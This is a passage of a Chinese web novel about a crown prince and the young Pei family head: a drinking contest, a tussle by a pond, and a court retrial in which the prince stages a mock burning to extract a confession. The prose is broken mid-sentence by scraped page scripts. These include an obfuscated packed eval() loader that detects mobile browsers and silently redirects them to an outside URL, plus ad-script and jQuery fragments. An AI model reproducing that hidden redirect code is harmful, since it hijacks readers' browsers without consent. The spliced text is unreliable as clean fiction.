两人见状,后背生寒,齐刷刷后撤,退开至少有七八步的距离才半蹲着身,一手撑地,一手搭膝,谨慎地盯着中央裴承的举动。 “家、家主你发作了?”飞星声音难得紧绷,竟似如临大敌。 好在半晌后裴承闭了闭眼,恢复了平静,“无事……去做出门的准备。” “啊,家主要去哪?” 裴承手指搭眉骨上,还虚掩着眼,声音低沉传来,“去煞风景。” 10. 便宜 马车缓缓停靠在街边。 一把绿檀扇挑开车帘,李相筠钻出来,仰头就望见沧浪阁的飞桥架在街上,被夕阳映照得熠熠生辉,桥上锦衣华服的郎君和娘子们络绎不绝走过。 留下环佩叮铃一阵,欢声笑语一阵。 夜幕还未降临,长安的贵人们已经迫不及待地开始寻欢作乐。 李相筠轻松跃下马车。 邓谦正要跟上时,李相筠朝他摆了摆手,“你也去盯着裴承的人,若是他们还跟黄监丞有联系,一定会想办法去见他或者往外传递消息。” 下午的消息她自然不是白白透露给裴承,只希望他能有所行动才对得起她这一番苦口婆心。 邓谦有些犹豫,他靠李相筠升官发财,比谁都关注他的安危。 “殿下一人,是否不妥?” 李相筠用折扇敲了敲手心,无所谓道:“我若是在这里出事,他们一个也跑不了,都是人精,哪有傻子,陆展今日也会来。”再说,还有暗卫跟着。 邓谦掂量了片刻,低头应了个是,转身离去。 在沧浪阁,李相筠是熟客。 两个跑堂的见着,马上就热情万分地迎了上来,一左一右簇拥他。 “七郎君您来了!楼上请!金爷特意叮嘱了,今夜七郎君要来,我们已经把窖藏的琥珀光、琼华露、竹叶酒给挑上来了,保准七郎喝得尽兴!” “还备有光明虾炙、升平炙、凤凰胎、八仙盘、金銮玉脍、仙人脔,都是七郎君平素爱吃的。” 李相筠走在前面,漫不经心道:“有心了。” 有新客头一回见到沧浪阁眼高于顶的跑堂居然这般低声下气,不由好奇打量,“那模样像个小娘们的是什么人?” “郎君外地来的吧,这都不认得?” 长安城里谁人不知道,那位只要穿着便服时,只要心照不宣称一句七郎君就是,倘若穿着品服,那大家都得以礼敬拜,叫太子殿下。 “这也未免生得太漂亮了,该不会是什么贵人的……”那客人目光追寻而去,几乎挪不开眼。 长安风气如此,美貌的少年和才貌双全的伶人同样金贵,无数的权贵肯为他们一掷千金,不但是身价连带着身份地位也水涨船高。 “嘘——不要命了,这话你也敢乱说!那位尊贵着呢!”刚刚跟他搭话的人脸都黑了,生怕惹火上身,连忙叫他闭嘴。 客人被吓了一跳,但依然嘴硬,“能、能有多贵,难道还比得上刚刚那赵郡王世子么?世子先前还夸我新得这幅画好呢……” “欸,李世子他是长安出了名的心善温柔。”路过的一位郎君伸头一看,手指点了下,“再说了你手上这幅画是关娘子画的吧,这关娘子颇受李世子赏识,人家看的是画又不是你这个人。” 客人讷讷,不敢再吱声。 另一桌有个肚子浑圆的酒客转过身,“说起关娘子,我想起来一件事,你们听说过赵郡王世子和七郎因为这位关娘子起过冲突吗?我就是听说的啊,你们姑且当个闲话听。” 几个脑袋立刻凑了过来。 “……先前说过,七郎君不是瞧中了那位世子吗?先不说世子并不好男色啊!而且他早对那位才华横溢的关娘子心生好感。” “关娘子的年岁不是比世子还大许多……” “欸,年岁不是问题,关娘子还未嫁人呢!”那人摆摆手,继续道:“于是七郎君由爱生恨,横刀夺爱!两人现在是水火不容,前日刑部大牢里发生涅槃案,墙上血字写上潜龙在渊,便是指的他嘛……” “这么说,这两个竟是要争上了?” “八九不离十吧!” “可是刚刚我瞧见七郎君和世子进了同一个雅间,待会该不会要打起来吧!” 看客的声音扬了起来,透露出一种想看好戏的急迫。 几道目光不约而同都投往上边。 那扇紧闭的雕花门里头正在发生什么事,实在让人好奇得紧! 偏这时候又有两道身影从后方走入他们的视线,前面走得那位穿着月白缠纹常服,腰间只系着一枚玉佩,步伐从容。 后面那小郎窄袖束腰长靴,手臂腰间都系着样式简单的皮革带,走动间,靴子上别着的扣锁是两条首尾相咬的银蛇不断晃出光来。 “那不是裴家……” “确实是裴家的族徽,这么说前面那位郎君是裴家主,没想到这样年轻……” “也忒年轻了,这么年轻就能当上家主,是有什么过人之处吗?” “谁说不是,他一个小辈能越过那么多长辈,实在奇怪。” “我还听说这裴家主是完全荡清反对自己的人才坐上家主之位,有这样的能耐肯定不是寻常之辈啊……” “裴家安守西南,听闻与南巫寨关系紧密,莫不是……” “你们快看,裴家主也进那间雅间了!” 好事者一招呼,众人的目光再次投向二楼。 让人向往的不仅是里面的纸醉金迷,还有里头的大热闹。 李相筠坐在上首位,左手边是赵郡王世子李柏寒,右手边是陆展、金侍郎,接下来是金宝和他狐朋狗友一堆。 此刻一轮已酒喝过,金宝举着酒杯两边劝和,“七郎、世子爷都是误会一场,千万不能伤了大家的和气,往后咱们还要一起喝酒作乐的,是不是?” 李柏寒温和一笑,“只要七郎不再纠缠关娘子一切好说。” 李相筠歪坐着,手肘抵着桌子撑起下巴,挑眉笑道:“纠缠这词不合适吧,我与关娘子你情我愿的,世子怎知道关娘子就不愿意与我说几句话?你问过她了吗?哦,你怕唐突了关娘子,都没敢和她多说几句话。” 李柏寒冷下了笑脸,手指攥紧酒杯。 劝酒的饮妓伏在李相筠的肩头,咯咯笑道:“七郎还真是风流。” 那嫣红的唇瓣几乎擦过她的脸颊,不过李相筠毫不在意,任由那妖娆的饮妓倒在自己身上又笑又闹。 李柏寒眉心狠狠蹙起,很看不惯对方这浪荡子的模样,又不好口出恶言。 见他脸色难看,李相筠语气反而温柔起来,“李世子,这样,我们比赛喝酒,你若赢过我,我依你一次又何妨?” 旁边有人起哄也有人为李柏寒抱不平。 “七郎的酒量能喝倒十个壮汉,世子怎么能是对手呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782254|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,我也不欺负世子,我三杯,世子一杯。”李相筠举起三根手指,冲着李柏寒晃了晃,唇角露出一抹恶劣地挑衅,“如何?” 李柏寒眉间的深痕愈发明显。 “七郎君莫要……” 门恰在这个时候打开,人还未被看清,先听见一声低沉温柔的声音传来: “七郎有如此雅兴,不妨我来与七郎尽兴?” 众人循声望去。 “原来是裴家主!”“裴少保稀客啊!” 在一阵欢迎声当中,裴承一一朝他们点头示意,脚步也没有停,径直走到了李相筠的桌案前,俯身看向表情微僵的小太子。 李相筠确实没想到裴承会出现在这里,他不是应该……哦,身后的小跟班少了一个,应该是被他派了出去。 身边的饮妓支起了身,薄纱迅速滑离李相筠的肩头,她惊喜出声:“呀……裴少保好俊的脸。” 李相筠不由也望向裴承。 在这熠熠灯火之下,那张凑近的脸棱角分明,鼻梁高挺,目光深邃,仿佛是透不出光色的深潭,要把人沉溺进去。 这是一张不同于长安人的长相,冷厉是其轮廓线条,惑人是他眸眼神情。 “裴少保要与我斗酒?” 裴承拿起酒杯,“光斗酒是没什么意思,得要个彩头,若我赢了,七郎君也依我一回,怎样?” 李相筠笑了下,“裴少保是觉得自己能赢过我?” “输赢难以预测,但是不试试怎么知道?” 金宝为难起来,本来他是打算借此机会,让李相筠和赵郡王世子缓和关系,现在裴少保杀出来,反而让世子变得无关紧要,至少眼下这针锋相对的两人谁也没有闲暇看旁边沉郁的赵郡王世子了。 “七郎,这……” 旁人拉住金宝,道:“金爷莫急,你看金侍郎都没发话。” 金宝看向那个只知抚掌看热闹的弟弟皱了下眉,甩开对方的手,忍不住道:“他懂什么?” 被他下了面子,纨绔轻哼了声,“神气什么,不过是个商贾之子,哪比得上人家正经嫡子。”转身就去和好友去喝酒。 金宝怔了下,抿了下唇,烦躁地喝完手中的酒。 气氛都烘托到了这份上,李相筠只好应下裴承的比试。 她千杯不醉的酒量还没让她有怕的时候。 裴承自然而然就和李相筠隔案对坐下来。 五坛子开了封的好酒味道浓郁,光闻那味,都足以让人沉醉。 “果然是好酒。” “裴家主居然看得上这些俗物?” “西南边陲物贫地瘠,比不上长安。” 说话间李相筠正要喝第二杯,裴承伸手遮过她的杯口。 “我不占七郎的便宜。” 李相筠把他的手拍开,似笑非笑道:“怕丢面子被人说闲话就直说,别把话说这么暧昧,这里,谁能占得了我便宜?” 裴承没想到自己的话竟会引出深意,再看小太子这幅光下肤色曜曜,目光闪闪的模样,心中不由生出一些怪异。 他慢慢道:“是七郎想多了。” 他又不好男色。 11. 成见 “裴少保好魄力,勇气可嘉,来来来,咱们一块为他鼓鼓劲!” 有纨绔以为裴承是不知情就敢来挑战太子,心里佩服,端着酒吆喝四周。 此话一出,赵郡王世子更觉自己被狠狠轻视了,一甩袖子径直离席而去。 除了金宝跟了上去,其他喝高了的酒鬼谁也没有注意到。 陆展虽然知道李相筠的能耐,但看对面裴承三杯下去也像是没事人不由怀疑起他难道也有海量的天赋异禀? 酒过三巡,山海间里的酒客都喝得七七八八了,清醒的人已经没几个。 但李相筠和裴承还一杯接着一杯斗着,仿佛喝下去的只是白水。 “怎么身边只有飞星一个?派出去干什么坏事了?” “殿下连邓统领都没带,这话该臣来问吧?” 李相筠哼了声,开口道:“抓坏人做坏事,就不能叫做坏事了。” “原来如此,说得有理,那我就是在做好事了。” 李相筠反应了一下,才微眯了眼睛,“你巴巴赶来,原来是担心孤对李柏寒不利?” “臣有义务监督并保护殿下。” 李相筠“啪”得声放下杯子,恶声道:“你有什么权利监视孤?” “殿下怎么就不提保护,殿下以为现在和李世子再起冲突,能有什么好处?” “孤不觉得你会好心提醒。”李相筠用酒杯磕着木桌,不断发出清脆的叩击声,审视的目光不断打量他,“在使什么花招?” 裴承轻笑,“殿下对臣有成见。” “不是成见,是深有体会。” “交浅言深最不应该,殿下当真了解臣么?” “裴少保想与孤深交不得拿出点诚意。” “诚意可不靠嘴说,殿下自行体会。” 巧言令色。 李相筠轻嗤,饮完杯中的酒。 裴承不紧不慢陪着饮了一杯。 飞星手里不知道什么时候提了根炙羊腿正在啃,瞧旁边的陆展眉头紧蹙,似乎很是紧张,就好心开口道:“放心吧,他们两一会就比不下去了。” 陆展不解:“为何?我看他们俩不相上下。” 飞星用啃得溜光的羊腿骨指着旁边的酒坛子,“都喝三坛了,宰相肚子都撑不住了吧?” 果然,飞星话音刚落,那边李相筠就起身,“我要去更衣。” 陆展连忙提脚要跟上,但旁边裴承也站起。 “臣正好一起。” 飞星闪身拦下陆展,道:“陆少卿,我们最近查到了一些事情,可能和黄监丞有关,你有没有兴趣知道啊?” 陆展被他这么一打岔,李相筠和裴承已经消失在门口。 解决了“水患”之困,李相筠从净房出来,外面月亮已挂上树梢,周围琉璃灯笼高悬,夜色斑斓,流光溢彩。 庭院里秋桂飘香,湖面水波漪漪。 裴承正垂首往水里看着什么,李相筠瞅着他不设防的背影,莫名生出一种冲动。 她收起脚步声,不动声响靠近,等足够近,便蓄力往前一踹。 可没等她鞋底触及裴承的后腿弯,忽然就眼前一花,那月白袍子像是倏地被人抽走,她的脚踹空了,不由自主往前两步,踏进池子,水花犹如溅进油锅,扑她一脸。 水滴从前额一直流到鼻尖,再一滴滴掉下,李相筠低头在原地怔愣了片刻。 “殿下脚下没声,臣都没有留意到,不要紧吧?”裴承在岸上好整以暇,甚至伸出一只手,作势要扶。 李相筠从喉间溢出一声短促冷笑,慢慢伸出手,却没有搁裴承的手掌上,而是趁机捉住他手腕,同时飞踢出一脚侧击他的腰。 那湿漉漉的鞋子沾满泥和水,裴承下意识往旁躲开,偏手腕叫人用力下扯。 扑通两声,水花四溅。 他措手不及,被带下池子。 李相筠跳回岸上,叉腰而立,趁地势之高,俯瞰裴承,弯唇笑道: “当然不要紧,孤这不是有裴少保垫着么?” 裴承轻叹了口气,目光从已经没救了的衣摆、鞋履移动到正得意的小太子脸上。 水润湿了太子的鬓发眉毛,眼睫湿成一簇簇,瓷白的肤色也浸得软腻,唇瓣还水盈盈的…… 裴承意识到自己的目光已经停留太久,以至于小太子都微眯起眼,他把再视线一转,正好瞧见陆展大步走上来。 “七郎……?” 陆展飞快打量两人各一眼。 不过没看住片刻,两人怎么都弄得一身狼狈,难不成打架了? 李相筠迎向陆展,问:“什么事?” “邓统领有事禀……” 李相筠马上随陆展而去。 “家主,怎么弄成这样啦?”飞星眼睛眨巴眨巴,看着裴承提起湿淋淋的脚上岸,“难不成是被小太子推的?他竟能够把家主你推进水里,太厉害了……” 被横了一眼后,飞星才老实,清了清喉咙,“事情成了,咱们现在回去么?” “嗯。”裴承再低头看了眼自己的衣摆,面上也不见喜怒。 离开沧浪阁,裴承坐上马车。 车夫还没动,就听外面一阵混乱,夹杂着飞星惊呼出口的“殿下,你怎么这样!” 车帘一掀,李相筠顶着怒气冲冲的脸不由分说地坐进来。 “殿下有事?”裴承正在用帕子擦着手,平静的脸色,好像他并不意外对方的出现。 “你究竟是怎样不惊动我的人把她带走的?” 李相筠断没有料想到,她以为的引蛇出洞,反而是引狼入室了。 “雕虫小技罢了。”裴承似笑非笑地扬起眼,又惋惜道:“殿下难道手上只有这一张底牌么?” 李相筠一拍身侧的几案,案上的茶盏齐齐跳起来,又丁玲哐当落下。 “现在是孤在问你!” 裴承坐直身,认真道:“臣说,殿下就信么?” “不信,但孤也想听听你能编出什么鬼话。” 裴承就道:“殿下的兴趣挺别致的。” “邓谦说与我分开之后,就遇上裴少保,等清醒时,人已经不见。裴少保敢说此事与你没有干系?” 裴承笑道:“即便臣说没有干系,殿下早已经将臣定罪不是么?那臣又何必多费口舌……不过,说句实话,人的确不在臣手上。” 果然是鬼话连篇。 现在不在,不代表人不是他带走的。 宵禁的街鼓催促归人。 李相筠挑开车帘望向街道,侧脸被马车上的悬灯照得明暗不定。 裴承看着他的脸,“明日就是重审,殿下想好怎么办了吗?” 李相筠回转过头,毫不留情地揭穿他:“裴少保的关心总是这么不合时宜,显得虚情假意。” 裴承微微一笑,“哪里,臣是真心实意。” 至于真心实意地为着什么,都在他看热闹的眼神里。 三日后,大理寺开审。 李相筠自然而然在一边旁听,在她下手位坐有刑部尚书,对面还有御史中丞负责监听。 这件案子牵扯颇深,不单单是一个犯人借鬼神之术逃狱,还和外面传的沸沸扬扬的易储大事牵扯上了。 郭主事被提了上来,除了神情憔悴之外,身上不见伤痕。 大理寺新长官不是个狠厉的角,所以没有对他用上刑罚。 郭主事先冲在场的太子以及堂官行了礼,再开口陈述的说辞还与三日前一样,没有半点新鲜的。 裴承看向一直蹙眉的陆展,问道:“陆少卿有什么补充的?” 陆展出列抱拳,禀道:“下官以为,郭主事满口谎言,黄监丞能够从刑部大牢逃离,就是得他的襄助!” 郭主事连忙道:“陆少卿血口喷人,下官那天晚上一直在为生病 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的母亲侍疾,哪有空帮罪官越狱!” “晚上是不成,但是你走的时候身边不还带着两名随官么?” “陆少卿这话说的不对吧,有好几个证人都看见黄监丞是昼夜交替的时候,在牢里放了火,把自己烧死的!” 陆展环顾四周一圈,道:“经常烧尸的人都知道,一个成年男子的尸身需要多少柴火、多少时间才能彻底烧掉皮毛血肉,别说一个夜晚的时间,就是这点稻草完全不足以把人骨彻底燃烧。” “神鬼之事,谁又说得了呢!”郭主事强辩。 李相筠不由冷嗤了声。 因为当今圣上信奉圣火教,所以没有人敢明着说这世上无神无鬼,下面的人就常常假借神鬼乱断冤假错案。 “这么说,郭主事是肯定黄监丞是得道升仙,超脱五行,与你是一点干系也没有咯?”李相筠像是坐累了,换了一边的腿懒洋洋架起来。 郭主事连忙转头面朝太子,毕恭毕敬道:“殿下明鉴,这件事委实与下官无关,至于黄监丞的事情,亲眼目睹的人也并非在下,在下也觉得此事无解,唯有……” “唯有问黄监丞才能知道,是吗?”李相筠笑了起来,抬手拍了拍,“来人。” 四名执金卫一人提着两大捆稻草过来,转眼间大理寺理事堂的中庭就被这些稻草堆满。 众人正为此不解。 李相筠不紧不慢解释: “最近圣人神忧体乏,一定是有恶祟在长安盘踞不去,我正好找人算过,有一年老妇人的命格最是合适为圣人排忧解难,巧得是,她与郭主事关系紧密。既然郭主事陷入此案不得自辩,不如就请令慈替你去问一问那黄监丞,他究竟是真升天了还是假鬼神之说乱公正?” 郭主事的脸唰得下白了,唇瓣颤颤,惊愕恐惧道:“殿、殿下……” “晓行,晓行啊!”一名面色蜡黄的老妇被邓谦提了上来,两眼含泪,伸着手向着自己的儿。 “娘!” 在堂的官员除裴承以外,齐齐站起身。 老御史的反应最大,提起袍子已经跨出堂门,站在阶上连连跺脚,指着邓谦,大声呵斥:“荒唐!岂有欺负妇孺之理!这与禽兽又有何区别?” 这一番话当然不会是光骂邓谦,分明在指桑骂槐。 但是李相筠丝毫没有动怒,气定神闲道:“黄监丞得道,人人都说他是功德圆满,去享极乐,孤看郭主事的母亲缠绵病榻也是受苦,倒不如学那黄监丞早登极乐,也省的日后被你这个不孝子拖累。放心,孤找的人绝对靠谱,都是圣人信赖的教众,定会念经施法,助令慈成功飞升。” 最后一句,她语气轻快,仿佛甚是期待。 老妇人吓得双股战战,被高大的执金卫拖行一路也无法挣脱,不由破口骂到:“杀人了杀人了!你们青天白日就要杀人了,还有没有王法!这人烧了哪里还能活!你、你们这就是要活活烧死老身!” 郭主事见状也扑通跪下,涕泗横流,“求殿下不要牵连无辜之人,放过我娘!” 李相筠大笑:“黄监丞都能得道升天,你怎么不盼着你母亲一点好呢?跪孤做什么?倒不如跪下面去,再给你母亲磕几个头,求她见着黄监丞时好好问一问,为你洗清冤屈,岂不更好?” “殿下若草菅人命,明日御史台必会上奏圣人!”老御史知道自己的身板决计无法在执金卫手上讨得好,扭头就去找大理寺卿裴承寻求援助,“裴少保,你就坐视不理?” 裴承看向太子,对方神情自若回视他。 太子竟真的敢做到这地步,传闻说他行事嚣张不假,甚至在这个嚣张的份上还要加上一点疯狂。 是真的没有其他办法摆脱这个困境吗? 不见得。 他恐怕就是要看别人心肝俱颤,恐惧之际,要人尝到深陷泥潭左右为难的痛楚与绝望。 为此,伤敌一千自损八百也在所不惜。 12. 拆台 裴承才站起身,大批执金卫就扶刀涌入中庭。 大理寺里的衙役都扭头看向裴承。 在新任大理寺卿上任以前,大理寺与东宫的关系和睦,所以才会有执金卫任意进出大理寺的情况,往日里可以称兄道弟打成一片,可他们到底不是执金卫,也不是东宫的人,还是要听长官号令。 倘若长官要他们与执金卫对抗,那……岂不是要得罪太子? “裴少保,请救救我母亲!”郭主事朝裴承膝行两步,那张脸是又青又白,还挂着眼泪鼻涕,比鬼还吓人。 裴承望着李相筠,李相筠肆无忌惮地笑,一副天不怕地不怕的样子,嚣张极了。 这时候郭主事的母亲已经被架上稻草堆,准备做法的圣火教教徒戴着白骨面具,罩上白色兜帽,围着草堆站一圈。 大白天,每人手里还握着一根红色的蜡烛。 这样诡异又荒诞的场面让人毛骨悚然。 除了郭主事的哭声,最凄厉的莫过于那老妇人,她简直要被吓破了胆,不断哭喊“杀人了”“救命啊”之类的话。 这一声声都在诛郭主事的心。 他是个床边伺疾的孝顺人,怎忍心让母亲受这样的罪过。 郭主事又朝太子“嗙嗙”磕头,额头砸在粗粝的黑砖上,很快就渗出鲜血,流了满脸,他几乎是撕心裂肺地求道: “求殿下饶了我母亲,她与这件事毫无关系啊!——求殿下!” 李相筠唇边勾着残忍的浅笑,好整以暇看他磕得头破血流才痛快了,她先朝裴承瞥去含义不明的一眼,再看向其他人,缓缓开口: “诸位,此案已明了,就不耽搁时间了,昭云将事情始末说给诸位听吧。” 刑部尚书和老御史对视一眼,都紧蹙起眉头。 刚刚那些都是太子的一场闹剧不成,拿一无辜人命开玩笑,实在是太不像话了! 老御史中丞气得吹胡子瞪眼,心里想着回去定要好好写上一封弹劾的奏折才气呼呼提起袍子坐回原位。 陆展应“是”。 很快一干人证都被请了上来。 里面男女老少皆有,除刑部狱卒值官还有绸衣富商以及布衣百姓。 “这桩案子当先从国子监说起,月前太子上奏,当以东宫储君主持殿试,却遭以黄监丞为首一干学官的反对,后来又有三名学子自焚上吊。” 下面人证中当即有几人面露凄苦悲伤的神色,还有人擦起眼泪。 裴承重新坐下来,刑部尚书身边的空位置也坐上人,是匆匆赶来的裴府尹。 这件案子与他有关系,因而也一并请来旁听了。 “这两起案子有关联?” 陆展点了下头,继续道:“三名学子廖志勇、王杨、潘康隆。一个纯善的孝子,一个孤寡母亲的独子,一个需要靠借贷读书的学子,这三人平素关系不好不坏,可偏偏在那一个晚上相约在廖志勇的屋中自缢自焚。” 陆展手指义庄的看守人,小老儿佝偻着背,紧张地缩着脖颈。 “那日下官去了义庄,重新查验了三名学子的尸身。” 他拿出验尸单,“与交给府衙的有出入,因为这三名学子绝非自缢,而是有人将其缢死于梁上,再放火掩饰!” 学子的家人顿时痛哭起来,对于这样的结果说不好是欣慰多一点还是痛苦多一点。 孩子并非自愿舍弃他们,但是被人所害也是让人难以接受。 裴承与裴府尹都知道这件事,故而面色不改,旁边的刑部尚书与御史中丞变了脸色。 “何人这么大胆,竟替犯人遮掩不成?” 他们是上官,平素不会亲临案场,都是由下面专门负责的人调查收集再呈报上来,他们再从中抽丝剥茧,找到断案的关键。 所以线索证据的准确性很大程度会影响他们的判断。 刑部尚书观看了那份新的验尸单,上面签名的人正是陆展本人。 陆展讲解案子的时候,李相筠托腮望着窗外的稻草堆,那里郭主事的母亲已经被人提了下来,在树荫下喘着大气。 裴承的目光落在他身上。 三年前怀贤太子去世,他才十五岁,外人猜忌,皇帝不喜,人人都道他一定很难坚持下去,但他却在东宫扎下根,长出盘踞的根须,一步步影响朝局。 今年他想插手春闱,更是体现对掌控权势的野心。 一个人有野心,他就有了充分的动机。 另一边刑部尚书合理推断:“这么说,三名学子是被黄监丞所害?” 陆展道:“只是线索将我们引到他的身上,下官正要说的是与此同时的义庄里还有两具无名的宦官尸体,他们溺亡在平康坊的小燕渠,而平康坊正临着务本坊。” “宦官去平康坊?” 平康坊位于东方第三街的第五坊,与东市接临,里面是酒楼歌坊,全是权贵寻欢作乐、醉生梦死的地方。 “不错,两名宦官当然不是去平康坊作乐的,他们是被人叫过去的,有证人两名,一位歌姬琴娘,一位是挑夜香的丁大。” 两人保证自己所言非虚,都见过两名宦官鬼鬼祟祟与人见面,随后又匆匆往小燕渠的方向逃去。 两人还指证他们二人当时像吓破了胆,一个丢了个沉甸甸、装满了金子的荷包,一个撞倒了夜香桶连鞋袜脏了都顾不上。 “如果说国子监的学子死与这两名宦官有关系,那么与宦官见面的人又是谁?是有人指示宦官杀害学子,而后又将其灭口?” 刑部尚书话说完,自己脸色率先僵住了。 宫里的宦官效忠的人无非是圣人,在圣人之下则是内侍大监。 现在的内侍大监汪正阳统管玄扇司以及禁军,真正的三品大官,权倾朝野。 裴府尹扭过身,朝他竖起拇指哥夸赞道:“不愧是刑部尚书啊,真知灼见啊!” 刑部尚书只能拱手,讷讷道:“过奖、过奖。” 就如刑部尚书猜测的,陆展虽然没有明说,但是凶手无疑就是与两名宦官接头的那人,这样线索直指宫里,牵连就大了。 刑部尚书坐立难安,连声问道:“那黄监丞呢?他不是首要嫌犯吗?” 现在最好的法子,就是推出一个无足轻重的人过来顶着,只要案子结在这里,不再深究下去,这祸事就降不下来。 李相筠何尝不知道他们的心思,轻嗤了声,换了个更舒服的姿势卧在交椅里,神思仿佛已经飞到别处。 “黄监丞当然也牵扯其中,他与三名学子都有联系,因为反对太子主持春闱所以煽动学子发起抗议,成为出头鸟锒铛入狱,从大理寺被人换去了刑部后又与刑部官员一起弄了出神鬼之事构陷太子殿下。” “黄监丞到刑部的事确实是个误会,都怪下面的人……哎不说这个了。” 刑部尚书急于撇清与自己的关系,扭头一指郭主事,“至于这个,只要陆少卿证据确凿,本官决不姑息!” 陆展拱手朝天,“圣人修道十几年还没能勘破天道,区区一俗人怎能比得上圣人,所以下官一直在考虑犯官如何离开牢狱,又是怎样营造出在熊熊大火当中被活活烧死的假象,种种看似不可能的事其实很简单。” “简单?”裴府尹坐直了身,听得格外认真。 “因为有人帮助黄监丞,有且不止一人。”陆展手指向郭主事,而后又指向那日的值官。 郭主事已经精疲力竭,有心想要辩解一二,但是蠕动了几下嘴唇,最后还是悻悻闭紧了。 他看向中庭浑身虚脱的母亲,两眼饱含泪水。 那被指到的值官吓了一跳,连忙跪下扯起嗓子喊冤。 “闭嘴!”李相筠止住他的哭嚎,冷冷道:“等陆少卿讲完你再喊也不迟,若那时候你还坚持黄监丞是浴火重生,孤也不介意送你提前投胎。” 值官狠狠打了个哆嗦。 庭外的稻草堆还没撤走,不知道等着哪个倒霉蛋被这疯太子烧。 御史中丞想要张口斥责太子堂而皇之威胁嫌官,但是看见太子那张平静里透着疯狂的脸,还是忍了下来,心里想着待会在奏折上多加几句话。 陆展让人搬来稻草,还有个稻草人,稻草人身罩着件衣,头上吊着一根绳,有个小吏手持一竹叉勾着细鱼线把稻草人提溜起来。 光看这几样东西,大家都心知肚明他的用意。 “人和稻草人还是有区别吧,怎么会被人看错了?”裴府尹探头去检查。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >陆展道:“狱卒们前一夜喝了郭主事带的酒,浑浑噩噩看不清,就听值官说那是郭主事的衣服,下意识以为火里烧的就是郭主事,至于狱卒们听见所谓的怪笑声就是有人拉动绳索机关让稻草人挥动时发出的声音。” 几个狱卒面面相觑。 “好像是有些不对劲。” “小人也、也觉得那咔嚓声不像是怪笑……” 两个值官低下脑袋,冷汗浸透后背。 李相筠坐够了,站起身,扭头朝御史中丞开口:“邹御史,劳烦在弹劾孤的奏章里记上有人欲以借鬼神之说构陷太子,太子不肯息事宁人,必要彻查到底。” 邹御史还没回过神,那边太子已经利索跨出门槛,领着执金卫扬长而去。 压根不理会他在背后又会如何告他的状。 / “干爹,太子他似是要查到我们头上来了。”一内宦跌跌撞撞进殿内,扑通跪到地上,冷汗就沿着下巴滴了下来,润湿了波斯毯上的几簇艳丽的花骨朵。 身穿紫衣的汪正阳用银勺子喂着鸟,闻言就撇了下勺子,鸟被惊飞,几片羽毛飘了下来,缓缓落到笼子旁展开的奏章上,新鲜的墨字上清晰地落款臣邹明远上等字样。 “这点事也值得你吓成这样?放心,死不了你,天塌了不是还有个高的顶着吗?” 笼子里的绿毛鹦鹉扯起嗓子:“个高的!个高的!” 内宦这才抬袖擦了擦脑门上的汗,“干爹说的是……裴……” 汪正阳再次敲了下笼子,里面的鹦鹉立刻噤声,小内宦也把声音卡在喉咙里,咕隆了声咽回去。 “黄拙跑得倒快,不过太子对他的身世一定感兴趣,你让,”汪正阳顿了下,很快就决定了一个替死鬼,平静道:“就让吕山把正元九年孙署令的医案给东宫送去。” 小内宦伏在地上一哆嗦,冷汗不停地渗出。 “……是、是。” / 人证物证手法都有,加上被太子吓得精疲力竭的郭主事松了口,另外两名值官也只能承认是猪油蒙了心,收了黄监丞的好处才犯下大错。 风靡长安城几日的怪谈终于以人故弄玄虚结案,想来也会令人唏嘘一阵。 而三名学子的死与那两名宦官脱不开干系,可线索不幸地断在了小燕渠。 对于这样的结果,刑部尚书甚是满意,立刻催促裴承以此结案,不要再追究下去了。 陆展站出来反对,因为这件事和太子有关系,若不彻查下去,就无法顺藤摸瓜,找到罪魁祸首。 裴承坐在上首,翻看着卷宗。 “陆少卿这些日子辛苦了。其实早几日我已经禀过圣人,陆少卿文武双全,留在大理寺实在屈才,所以这个案子结了,陆少卿可以先休息一阵,至于之后有什么安排,吏部司会通知你。” 陆展一愣。 飞星脚步轻快地走到他面前,朝他伸出手,笑脸盈盈,“陆少卿。” “裴少保要摘我的牌子?” 陆展在大理寺三年不说矜矜业业也是任劳任怨,可他既没有过错,上司忽然要革他的职,这是莫大的耻辱。 裴承轻笑了声,终于把视线从卷宗上抬起,直视一脸愤怒的陆展,长指互搭在身前,开诚布公道:“陆少卿事事以太子为主,眼里哪有我这上司,大理寺不是你徇私表忠的地方,我也不是眼里能容沙子的人,或许东宫会愿意给你一个去处,不妨问问太子?” “裴少保以为我是靠着太子才进入大理寺的么?!” 陆展对上裴承的眼,对方神情淡然平静,根本不像是一时的怀疑或者揣测,他分明就是欲加之罪并且打定了主意要把他从大理寺踢出去。 说到徇私,他裴少保怎敢倒打一耙! 胸腔里激荡的气息横冲直撞,陆展紧了紧双拳,又想起自己的身世,低头解开腰牌丢给飞星。 “若上峰是如此偏疑猜忌之人,不留也罢!” 飞星手忙脚乱接好铜牌,陆展已经头也不回跨出衙堂。 “嚯!好大的脾气。” 飞星吐了下舌头,把吊牌拿起来晃了晃,回头问裴承:“家主,小太子知道了,会不会气死,不会在我们回东宫的时候放鹅咬我们吧?” 13.兄妹 飞雨盘起手,说起风凉话:“那你可要跑快点,听说鹅最喜欢叼人屁股了,可疼了。” 飞星捂住屁股,狠狠打了激灵。 等裴承处理好公务,带着他们走出大理寺时,太阳已往西沉。 天还是蓝白色,几朵薄云点缀其间,干净明亮。 “哇!真是个好天气啊!”飞星张开双臂,夸张地迎着天长叹一声,“只可惜,来长安这么久,我们还没有好好逛过呢! “想去玩就直说。”飞雨走过,随口拆穿他的心思。 “谁说我想玩了,我就是听说长安东市有很多好吃的,东宫的饭菜你不是嫌难吃吃不下吗?都不知道是不是小太子存心整我们的,那叫一个又咸又甜,大厨怕不是味觉失灵了吧!” 裴承揉了下太阳穴,打断飞星的喋喋不休,“天色还早,那就绕一下路吧。” 